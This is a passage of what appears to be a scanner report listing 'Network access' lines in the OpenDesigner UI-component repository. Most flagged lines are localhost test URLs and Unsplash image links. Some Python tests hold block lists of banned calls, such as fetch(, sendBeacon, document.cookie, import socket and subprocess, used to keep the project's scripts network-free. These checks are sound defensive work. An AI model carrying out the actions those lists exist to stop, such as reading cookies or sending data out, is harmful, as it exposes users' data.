    {"type": "http", "text": "404 http://localhost/font.woff2"}]}, F)         titles = [f["title"] for f in F.done()]         self.assertEqual(titles, ["Requests failed or returned an error status"])
  • Network accessline 430
    def test_layout_shift(self):         F = rv.Findings()         rv.check_vitals({"kind": "vitals", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, "cls": 0.31,
  • Network accessline 431
    F = rv.Findings()         rv.check_vitals({"kind": "vitals", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, "cls": 0.31,                          "shifts": [{"value": 0.3, "at": 800, "nodes": ["img.hero"]}], "lon
  • Network accessline 432
    rv.check_vitals({"kind": "vitals", "url": "http://localhost/", "viewport": {"w": 390, "h": 800}, "media": {}, "cls": 0.31,
  • Network accessline 436
    def test_hover_that_changes_nothing(self):         F = rv.Findings()         rv.check_hover({"kind": "hover", "url": "http://localhost/", "viewport": {"w": 1280, "h": 800}, "media": {}, "samples": [
  • Network accessline 437
    F = rv.Findings()         rv.check_hover({"kind": "hover", "url": "http://localhost/", "viewport": {"w": 1280, "h": 800}, "media": {}, "samples": [             {"sel": "a.x", "cursor": "pointer", "changed": {}, "moved": False}, {"sel": "but
  • Network accessline 438
    rv.check_hover({"kind": "hover", "url": "http://localhost/", "viewport": {"w": 1280, "h": 800}, "media": {}, "samples": [
  • Network accessline 454
    def plan(self, *extra):         err, out = run(["plan", "--url", "http://localhost:3000", "--routes", "/,/x", "--viewports", "320,390,1440", "--themes", "light,dark", *self.args, *extra])
  • Network accessline 455
    err, out = run(["plan", "--url", "http://localhost:3000", "--routes", "/,/x", "--viewports", "320,390,1440", "--themes", "light,dark", *self.args, *extra])
  • Network accessline 467
    def test_plan_uses_the_systems_modes(self):         err, out = run(["plan", "--url", "http://localhost:3000", "--project", str(EXAMPLE), "--dir", str(self.d / "review")])
  • Network accessline 468
    err, out = run(["plan", "--url", "http://localhost:3000", "--project", str(EXAMPLE), "--dir", str(self.d / "review")])
  • Network accessline 562
    (rd / "probes" / "home-390-light.json").write_text(json.dumps(FIXTURE))         (rd / "console").mkdir()         (rd / "console" / "home-390-light.json").write_text(json.dumps({"kind": "console", "url": "http://localhost:3000/", "viewport":
  • Network accessline 563
    (rd / "console").mkdir()         (rd / "console" / "home-390-light.json").write_text(json.dumps({"kind": "console", "url": "http://localhost:3000/", "viewport": {"w": 390, "h": 844}, "media": {},                                             
  • Network accessline 564
    (rd / "console" / "home-390-light.json").write_text(json.dumps({"kind": "console", "url": "http://localhost:3000/", "viewport": {"w": 390, "h": 844}, "media": {},
  • Network accessline 594
    [Credential-related source omitted]
  • Network accessline 595
    self.srv = ThreadingHTTPServer(("127.0.0.1", 0), rv.make_handler(self.rd, self.token))         self.base = f"http://127.0.0.1:{self.srv.server_address[1]}/t/{self.token}/"         self.th = threading.Thread(target=self.srv.serve_forever, da
  • Network accessline 596
    self.base = f"http://127.0.0.1:{self.srv.server_address[1]}/t/{self.token}/"
  • Network accessline 606
    import urllib.error         import urllib.request         req = urllib.request.Request(url, data=data, method="POST" if data is not None else "GET", headers=headers or {})
  • Network accessline 607
    import urllib.request         req = urllib.request.Request(url, data=data, method="POST" if data is not None else "GET", headers=headers or {})         try:
  • Network accessline 608
    req = urllib.request.Request(url, data=data, method="POST" if data is not None else "GET", headers=headers or {})
  • Network accessline 609
    try:             with urllib.request.urlopen(req, timeout=5) as r:                 return r.status, r.read(), dict(r.headers)
  • Network accessline 610
    with urllib.request.urlopen(req, timeout=5) as r:
  • Network accessline 750
    def test_probe_js_makes_no_requests_and_evaluates_nothing(self):         src = re.sub(r"/\*.*?\*/", "", (HERE / "probe.js").read_text(), flags=re.S)         for banned in ("fetch(", "XMLHttpRequest", "WebSocket", "sendBeacon", "eval(", "new
  • Network accessline 751
    src = re.sub(r"/\*.*?\*/", "", (HERE / "probe.js").read_text(), flags=re.S)         for banned in ("fetch(", "XMLHttpRequest", "WebSocket", "sendBeacon", "eval(", "new Function", "import(", "localStorage", "sessionStorage", "document.cookie
  • Network accessline 752
    for banned in ("fetch(", "XMLHttpRequest", "WebSocket", "sendBeacon", "eval(", "new Function", "import(", "localStorage", "sessionStorage", "document.cookie", ".click(", ".submit("):
  • Network accessline 755
    def test_picker_js_makes_no_requests_and_evaluates_nothing(self):         src = re.sub(r"/\*.*?\*/", "", (REPO / "skills" / "opendesigner" / "assets" / "picker.js").read_text(), flags=re.S)         for banned in ("fetch(", "XMLHttpRequest",
  • Network accessline 756
    src = re.sub(r"/\*.*?\*/", "", (REPO / "skills" / "opendesigner" / "assets" / "picker.js").read_text(), flags=re.S)         for banned in ("fetch(", "XMLHttpRequest", "WebSocket", "sendBeacon", "eval(", "new Function", "import(", "localStor
  • Network accessline 757
    for banned in ("fetch(", "XMLHttpRequest", "WebSocket", "sendBeacon", "eval(", "new Function", "import(", "localStorage", "sessionStorage", "document.cookie", "innerHTML"):
  • Network accessline 760
    def test_review_py_uses_no_network_libraries_and_serves_loopback_only(self):         src = (HERE / "review.py").read_text()         for banned in ("import requests", "urllib.request", "http.client", "import socket", "subprocess", "0.0.0.0",
  • Network accessline 761
    src = (HERE / "review.py").read_text()         for banned in ("import requests", "urllib.request", "http.client", "import socket", "subprocess", "0.0.0.0", 'ThreadingHTTPServer(("",'):             self.assertNotIn(banned, src, banned)
  • Network accessline 762
    for banned in ("import requests", "urllib.request", "http.client", "import socket", "subprocess", "0.0.0.0", 'ThreadingHTTPServer(("",'):

skills/opendesigner/SKILL.md

  • Network accessline 6
    metadata:   version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 7
    version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner" ---
  • Network accessline 8
    homepage: "https://github.com/ckryptickunal/OpenDesigner"

skills/opendesigner/assets/library/CRAFT.md

  • Network accessline 41
    ## 4. Icons: Lucide, never hand-drawn - Use [Lucide](https://lucide.dev) icons (ISC licence; the Feather-derived ones MIT), copied inline as SVG from
  • Network accessline 42
    - Use [Lucide](https://lucide.dev) icons (ISC licence; the Feather-derived ones MIT), copied inline as SVG from
  • Network accessline 43
    `https://unpkg.com/lucide-static@0.460.0/icons/<name>.svg`. Keep Lucide's 24-unit viewBox, `fill="none"`,
  • Network accessline 49
    - Covers, products, food, places, posters, post images and avatars of people are photos, not drawn shapes or initials-only   circles. Pick from `photos.json` (each verified, free Unsplash License, no Unsplash+), or add a verified one there.
  • Network accessline 50
    circles. Pick from `photos.json` (each verified, free Unsplash License, no Unsplash+), or add a verified one there. - Hotlink `https://images.unsplash.com/<img>?w=<2x display width>&h=<2x height>&fit=crop&auto=format&q=70` in an `<img>`   w
  • Network accessline 51
    - Hotlink `https://images.unsplash.com/<img>?w=<2x display width>&h=<2x height>&fit=crop&auto=format&q=70` in an `<img>`

skills/opendesigner/assets/library/README.md

  • Network accessline 50
    - **With OpenDesigner installed** (the person's agent has the skill): `python3 <skill>/scripts/library.py add <slug> [--into src/components/odl]`. It copies the file and lists any `--ds-*` variable the project's tokens lack. - **Any agent:*
  • Network accessline 51
    - **Any agent:** paste the prompt shown on the website, for example:   `Add the OpenDesigner component approval-panel to this project: https://opendesigner.dev/library/r/approval-panel.html. Keep its markup and states; map its --ds-* variab
  • Network accessline 52
    `Add the OpenDesigner component approval-panel to this project: https://opendesigner.dev/library/r/approval-panel.html. Keep its markup and states; map its --ds-* variables to my tokens.`
  • Network accessline 60
    Third-party content inside parts: icons from [Lucide](https://lucide.dev) (ISC licence; icons derived from Feather, MIT), and photos hotlinked from [Unsplash](https://unsplash.com/license) under the Unsplash License (free to use; the websit
  • Network accessline 63
    | Source | Licence (checked 2026-10-21) | What it taught | |---|---|---| | Opensource UI, https://opensourceui.in (github.com/bidyut10/opensourceui) | MIT | Categories in a side list; a live preview on a quiet patterned stage; setup steps a
  • Network accessline 64
    |---|---|---| | Opensource UI, https://opensourceui.in (github.com/bidyut10/opensourceui) | MIT | Categories in a side list; a live preview on a quiet patterned stage; setup steps and copy-ready code under it; a one-sentence description per
  • Network accessline 65
    | Opensource UI, https://opensourceui.in (github.com/bidyut10/opensourceui) | MIT | Categories in a side list; a live preview on a quiet patterned stage; setup steps and copy-ready code under it; a one-sentence description per component |
  • Network accessline 66
    | shadcn/ui, https://ui.shadcn.com (github.com/shadcn-ui/ui) | MIT | Components you own as source, not a package; a registry that one short command pulls from |
  • Network accessline 67
    | Magic UI, https://magicui.design (github.com/magicuidesign/magicui) | MIT | Presenting components as a showcase people come back to, not only as docs |

skills/opendesigner/assets/library/components/activity-feed/component.html

  • Network accessline 47
    <ol aria-label="Activity on Vessendon Airframes">     <li>       <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="4
  • Network accessline 48
    <li>       <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"><span c
  • Network accessline 49
    <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"><span class="odl-k
  • Network accessline 58
    </li>     <li>       <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1523278669709-c05da80b6a65?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="asyn
  • Network accessline 59
    <li>       <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1523278669709-c05da80b6a65?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"><span c
  • Network accessline 60
    <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1523278669709-c05da80b6a65?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"><span class="odl-k
  • Network accessline 65
    </li>     <li>       <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="asyn
  • Network accessline 66
    <li>       <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"><span c
  • Network accessline 67
    <span class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"><span class="odl-k

skills/opendesigner/assets/library/components/activity-list/component.html

  • Network accessline 81
    <section class="odl-group" aria-labelledby="odl-al-today"><h4 id="odl-al-today">Today</h4>         <ul>           <li class="odl-item is-new" data-kind="like"><span class="odl-who is-pair" aria-hidden="true"><img src="https://images.unsplas
  • Network accessline 82
    <ul>           <li class="odl-item is-new" data-kind="like"><span class="odl-who is-pair" aria-hidden="true"><img src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=72&h=72&fit=crop&auto=format&q=70" alt="" width="36" heigh
  • Network accessline 83
    <li class="odl-item is-new" data-kind="like"><span class="odl-who is-pair" aria-hidden="true"><img src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=72&h=72&fit=crop&auto=format&q=70" alt="" width="36" height="36" loading=
  • Network accessline 84
    <p class="odl-text"><span class="odl-sr">New. </span><b>yuki_h</b>, <b>kwesi.frames</b> and 212 others liked your photo. <time datetime="PT2H">2h</time></p><img class="odl-thumb" src="https://images.unsplash.com/photo-1512531123205-560f5974
  • Network accessline 85
    <li class="odl-item is-new" data-kind="follow"><span class="odl-who" aria-hidden="true"><img src="https://images.unsplash.com/photo-1506794778202-cad84cf45f1d?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy"
  • Network accessline 86
    <p class="odl-text"><span class="odl-sr">New. </span><b>arash.t</b> started following you. <time datetime="PT3H">3h</time></p><button type="button" class="odl-back" aria-pressed="false" aria-label="Follow back arash.t">Follow back</button><
  • Network accessline 87
    <li class="odl-item" data-kind="mention"><span class="odl-who" aria-hidden="true"><img src="https://images.unsplash.com/photo-1534751516642-a1af1ef26a56?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy" decod
  • Network accessline 88
    <p class="odl-text"><b>leilani.k</b> mentioned you: <q>@rafal.makes is this the roof by the river?</q> <time datetime="PT5H">5h</time></p><img class="odl-thumb" src="https://images.unsplash.com/photo-1505490096310-204ef067fe6b?w=96&h=96&fit
  • Network accessline 91
    <section class="odl-group" aria-labelledby="odl-al-week"><h4 id="odl-al-week">This week</h4>         <ul>           <li class="odl-item" data-kind="follow"><span class="odl-who" aria-hidden="true"><img src="https://images.unsplash.com/photo
  • Network accessline 92
    <ul>           <li class="odl-item" data-kind="follow"><span class="odl-who" aria-hidden="true"><img src="https://images.unsplash.com/photo-1600603406200-5b2a104684ac?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loadin
  • Network accessline 93
    <li class="odl-item" data-kind="follow"><span class="odl-who" aria-hidden="true"><img src="https://images.unsplash.com/photo-1600603406200-5b2a104684ac?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy" decodi
  • Network accessline 94
    <p class="odl-text"><b>henrik.sb</b> started following you. <time datetime="P2D">2d</time></p><button type="button" class="odl-back" aria-pressed="true" aria-label="Follow back henrik.sb">Following</button></li>           <li class="odl-ite
  • Network accessline 95
    <li class="odl-item" data-kind="like"><span class="odl-who" aria-hidden="true"><img src="https://images.unsplash.com/photo-1607569708758-0270aa4651bd?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy" decoding
  • Network accessline 96
    <p class="odl-text"><b>mireille.v</b> liked your comment: <q>The fog did the rest.</q> <time datetime="P3D">3d</time></p><img class="odl-thumb" src="https://images.unsplash.com/photo-1578429827733-272eb6d7972e?w=96&h=96&fit=crop&auto=format
  • Network accessline 97
    <li class="odl-item" data-kind="follow"><span class="odl-who" aria-hidden="true"><img src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy" decodi
  • Network accessline 98
    <p class="odl-text"><b>ximena.q</b> started following you. <time datetime="P4D">4d</time></p><button type="button" class="odl-back" aria-pressed="false" aria-label="Follow back ximena.q">Follow back</button></li>           <li class="odl-it
  • Network accessline 99
    <li class="odl-item" data-kind="mention"><span class="odl-who" aria-hidden="true"><img src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy" decod
  • Network accessline 100
    <p class="odl-text"><b>kwesi.frames</b> mentioned you in their story. <time datetime="P5D">5d</time></p><span class="odl-story"><img src="https://images.unsplash.com/photo-1609194246158-702022cc4f13?w=96&h=96&fit=crop&auto=format&q=70" alt=

skills/opendesigner/assets/library/components/article-card/component.html

  • Network accessline 47
    <article class="odl-article-card">   <div class="odl-inner">   <img class="odl-cover" src="https://images.unsplash.com/photo-1762983870490-63e5ba07105b?w=800&h=600&fit=crop&auto=format&q=70" alt="A home office desk with a computer and plant
  • Network accessline 48
    <div class="odl-inner">   <img class="odl-cover" src="https://images.unsplash.com/photo-1762983870490-63e5ba07105b?w=800&h=600&fit=crop&auto=format&q=70" alt="A home office desk with a computer and plants" width="400" height="300" loading="
  • Network accessline 49
    <img class="odl-cover" src="https://images.unsplash.com/photo-1762983870490-63e5ba07105b?w=800&h=600&fit=crop&auto=format&q=70" alt="A home office desk with a computer and plants" width="400" height="300" loading="lazy" decoding="async">
  • Network accessline 53
    <p class="odl-dek">Bills over €5,000 now go straight to finance. Smaller ones stay with the budget owner, starting Nov 4.</p>     <footer>       <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=96&
  • Network accessline 54
    <footer>       <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=96&h=96&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async">       <span class="odl-b
  • Network accessline 55
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=96&h=96&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/audit-log/component.html

  • Network accessline 55
    </header>   <ol>     <li><img class="odl-avatar odl-who" src="https://images.unsplash.com/photo-1681097561932-36d0df02b379?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 56
    <ol>     <li><img class="odl-avatar odl-who" src="https://images.unsplash.com/photo-1681097561932-36d0df02b379?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">       <p><span cla
  • Network accessline 57
    <li><img class="odl-avatar odl-who" src="https://images.unsplash.com/photo-1681097561932-36d0df02b379?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 59
    <li><span class="odl-who is-bot" aria-hidden="true"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M12 8V4H8"/><rect width="16" height="12" x="4" y="8" r
  • Network accessline 60
    <p><strong>people-sync</strong> removed 3 people who left the company</p><span class="odl-meta"><span>Service account</span><span>SCIM</span></span><time>13:40</time></li>     <li><img class="odl-avatar odl-who" src="https://images.unsplash
  • Network accessline 61
    <li><img class="odl-avatar odl-who" src="https://images.unsplash.com/photo-1604072366595-e75dc92d6bdc?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 62
    <p><span class="odl-sev is-med">Medium</span><strong>Ragnhild Torvik</strong> created API key <code>policy-vault</code> with read access to all records</p><span class="odl-meta"><span class="odl-ip">198.51.100.7</span><span>Expires in 90 da
  • Network accessline 63
    <li><img class="odl-avatar odl-who" src="https://images.unsplash.com/photo-1500648767791-00dcc994a43e?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/calendar-agenda/component.html

  • Network accessline 94
    <a role="listitem" class="odl-event is-info is-past is-half" href="#interview" style="grid-row: 7 / 11; grid-column: 2"><strong>Interview: AP specialist</strong><span>10:30–11:30<span class="odl-place"> · Video call</span></span></a>       
  • Network accessline 95
    <a role="listitem" class="odl-event is-neutral" href="#priya" style="grid-row: 14 / 17; grid-column: 1 / -1"><strong>1:1 with Nandini Iyer</strong><span>12:15–13:00 · Desk 3B</span></a>       <a role="listitem" class="odl-event" href="#revi
  • Network accessline 96
    <a role="listitem" class="odl-event" href="#review" style="grid-row: 19 / 25; grid-column: 1 / -1"><strong>October close review</strong><span>13:30–15:00 · Boardroom, 5th floor</span><span class="odl-people"><span class="odl-who" aria-hidde

skills/opendesigner/assets/library/components/card-wallet/component.html

  • Network accessline 114
    <li><span class="odl-mark" aria-hidden="true"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="m15 11-1 9"/><path d="m19 11-4-7"/><path d="M2 11h20"/><path
  • Network accessline 115
    <span class="odl-who"><b>Fernby Market</b><span>Groceries · 12:40</span></span><span class="odl-amt">−£23.85</span></li>         <li><img class="odl-mark" src="https://images.unsplash.com/photo-1560250097-0b93528c311a?w=96&h=96&fit=crop&aut
  • Network accessline 116
    <li><img class="odl-mark" src="https://images.unsplash.com/photo-1560250097-0b93528c311a?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/cart-drawer/component.html

  • Network accessline 100
    <div class="odl-hero"><b>Autumn layers</b><span>Soft knits and leather goods for cooler mornings</span></div>       <div class="odl-shelf">         <div><img src="https://images.unsplash.com/photo-1646270968802-6bad28659329?w=400&h=500&fit=
  • Network accessline 101
    <div class="odl-shelf">         <div><img src="https://images.unsplash.com/photo-1646270968802-6bad28659329?w=400&h=500&fit=crop&auto=format&q=70" alt="" width="400" height="500" loading="lazy" decoding="async">Lambswool crew<small>$96.00</
  • Network accessline 102
    <div><img src="https://images.unsplash.com/photo-1646270968802-6bad28659329?w=400&h=500&fit=crop&auto=format&q=70" alt="" width="400" height="500" loading="lazy" decoding="async">Lambswool crew<small>$96.00</small></div>
  • Network accessline 103
    <div><img src="https://images.unsplash.com/photo-1605733513597-a8f8341084e6?w=400&h=500&fit=crop&auto=format&q=70" alt="" width="400" height="500" loading="lazy" decoding="async">Leather satchel<small>$140.00</small></div>
  • Network accessline 104
    <div><img src="https://images.unsplash.com/photo-1603808033192-082d6919d3e1?w=400&h=500&fit=crop&auto=format&q=70" alt="" width="400" height="500" loading="lazy" decoding="async">Court trainer<small>$120.00</small></div>
  • Network accessline 105
    <div><img src="https://images.unsplash.com/photo-1570974802254-4b0ad1a755f5?w=400&h=500&fit=crop&auto=format&q=70" alt="" width="400" height="500" loading="lazy" decoding="async">Ceramic table lamp<small>$88.00</small></div>
  • Network accessline 117
    <ul aria-label="Items in your bag">         <li data-price="68">           <img class="odl-pic" src="https://images.unsplash.com/photo-1620799140408-edc6dcb6d633?w=192&h=240&fit=crop&auto=format&q=70" alt="Cotton crew sweatshirt in white" w
  • Network accessline 118
    <li data-price="68">           <img class="odl-pic" src="https://images.unsplash.com/photo-1620799140408-edc6dcb6d633?w=192&h=240&fit=crop&auto=format&q=70" alt="Cotton crew sweatshirt in white" width="192" height="240" loading="lazy" decod
  • Network accessline 119
    <img class="odl-pic" src="https://images.unsplash.com/photo-1620799140408-edc6dcb6d633?w=192&h=240&fit=crop&auto=format&q=70" alt="Cotton crew sweatshirt in white" width="192" height="240" loading="lazy" decoding="async">
  • Network accessline 127
    </li>         <li data-price="24">           <img class="odl-pic" src="https://images.unsplash.com/photo-1570784332176-fdd73da66f03?w=192&h=240&fit=crop&auto=format&q=70" alt="White stoneware mug" width="192" height="240" loading="lazy" dec
  • Network accessline 128
    <li data-price="24">           <img class="odl-pic" src="https://images.unsplash.com/photo-1570784332176-fdd73da66f03?w=192&h=240&fit=crop&auto=format&q=70" alt="White stoneware mug" width="192" height="240" loading="lazy" decoding="async">
  • Network accessline 129
    <img class="odl-pic" src="https://images.unsplash.com/photo-1570784332176-fdd73da66f03?w=192&h=240&fit=crop&auto=format&q=70" alt="White stoneware mug" width="192" height="240" loading="lazy" decoding="async">
  • Network accessline 137
    </li>         <li data-price="18">           <img class="odl-pic" src="https://images.unsplash.com/photo-1485955900006-10f4d324d411?w=192&h=240&fit=crop&auto=format&q=70" alt="Small succulent in a teal glazed pot" width="192" height="240" l
  • Network accessline 138
    <li data-price="18">           <img class="odl-pic" src="https://images.unsplash.com/photo-1485955900006-10f4d324d411?w=192&h=240&fit=crop&auto=format&q=70" alt="Small succulent in a teal glazed pot" width="192" height="240" loading="lazy" 
  • Network accessline 139
    <img class="odl-pic" src="https://images.unsplash.com/photo-1485955900006-10f4d324d411?w=192&h=240&fit=crop&auto=format&q=70" alt="Small succulent in a teal glazed pot" width="192" height="240" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/chat-thread/component.html

  • Network accessline 72
    <header class="odl-head">       <button type="button" aria-label="Back to messages"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="m15 18-6-6 6-6"/></svg
  • Network accessline 73
    <button type="button" aria-label="Back to messages"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="m15 18-6-6 6-6"/></svg></button>       <span class="od
  • Network accessline 74
    <span class="odl-who"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="48" height="48" loading="lazy" decoding="async"><span cl
  • Network accessline 79
    <p class="odl-day">Today 09:41</p>       <div class="odl-row is-in"><span class="odl-slot"></span><div class="odl-stack"><p class="odl-msg is-first">Are you still up for the flea market on Saturday?</p></div></div>       <div class="odl-row
  • Network accessline 80
    <div class="odl-row is-in"><span class="odl-slot"></span><div class="odl-stack"><p class="odl-msg is-first">Are you still up for the flea market on Saturday?</p></div></div>       <div class="odl-row is-in"><span class="odl-av is-sm" aria-h
  • Network accessline 81
    <div class="odl-row is-in"><span class="odl-av is-sm" aria-hidden="true"><img src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="asyn
  • Network accessline 82
    <div class="odl-row is-out is-gap"><div class="odl-stack"><div class="odl-msg is-first"><p class="odl-quote"><span class="odl-sr">Replying to </span><b>Ximena</b> The ceramics stall opens at 8 and the good bowls go fast</p><p>8 is brutal bu
  • Network accessline 83
    <div class="odl-row is-out"><div class="odl-stack"><p class="odl-msg is-last">Meet by the fountain?</p></div></div>       <div class="odl-row is-in is-gap"><span class="odl-av is-sm" aria-hidden="true"><img src="https://images.unsplash.com/
  • Network accessline 84
    <div class="odl-row is-in is-gap"><span class="odl-av is-sm" aria-hidden="true"><img src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decodin
  • Network accessline 85
    <span class="odl-react"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M19 14c1.49-1.46 3-3.21 3-5.5A5.5 5.5 0 0 0 16.5 3c-1.76 0-3 .5-4.5 2-1.5-1.5-2.74
  • Network accessline 86
    <div class="odl-row is-out is-gap"><div class="odl-stack"><p class="odl-msg">Noted. See you at 7:50</p><p class="odl-seen">Seen 09:52</p></div></div>       <div class="odl-row is-in is-gap odl-is-typing"><span class="odl-av is-sm" aria-hidd
  • Network accessline 87
    <div class="odl-row is-in is-gap odl-is-typing"><span class="odl-av is-sm" aria-hidden="true"><img src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="32" height="32" loading=

skills/opendesigner/assets/library/components/comment-sheet/component.html

  • Network accessline 64
    <div class="odl-comment-sheet">   <div class="odl-screen">     <div class="odl-behind" aria-hidden="true"><img class="odl-behind-photo" src="https://images.unsplash.com/photo-1514565131-fce0801e5785?w=880&h=440&fit=crop&auto=format&q=70" al
  • Network accessline 65
    <div class="odl-screen">     <div class="odl-behind" aria-hidden="true"><img class="odl-behind-photo" src="https://images.unsplash.com/photo-1514565131-fce0801e5785?w=880&h=440&fit=crop&auto=format&q=70" alt="" width="440" height="220" load
  • Network accessline 66
    <div class="odl-behind" aria-hidden="true"><img class="odl-behind-photo" src="https://images.unsplash.com/photo-1514565131-fce0801e5785?w=880&h=440&fit=crop&auto=format&q=70" alt="" width="440" height="220" loading="lazy" decoding="async"><
  • Network accessline 70
    <button type="button" class="odl-close" aria-label="Close comments"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M18 6 6 18"/><path d="m6 6 12 12"/></s
  • Network accessline 71
    <ul class="odl-list" tabindex="0" aria-label="86 comments">         <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=80&h=80&fit=crop&auto=format&q=70" alt=""
  • Network accessline 72
    <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"></span>
  • Network accessline 75
    <button type="button" class="odl-like" aria-pressed="false" data-n="214" aria-label="Like, 214 likes"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M19 
  • Network accessline 76
    </li>         <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async
  • Network accessline 77
    <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"></span>
  • Network accessline 80
    <button type="button" class="odl-like" aria-pressed="true" data-n="48" aria-label="Unlike, 48 likes"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M19 1
  • Network accessline 81
    <ul>             <li class="odl-c"><span class="odl-av is-sm" aria-hidden="true"><img src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=48&h=48&fit=crop&auto=format&q=70" alt="" width="24" height="24" loading="lazy" decodi
  • Network accessline 82
    <li class="odl-c"><span class="odl-av is-sm" aria-hidden="true"><img src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=48&h=48&fit=crop&auto=format&q=70" alt="" width="24" height="24" loading="lazy" decoding="async"></span
  • Network accessline 88
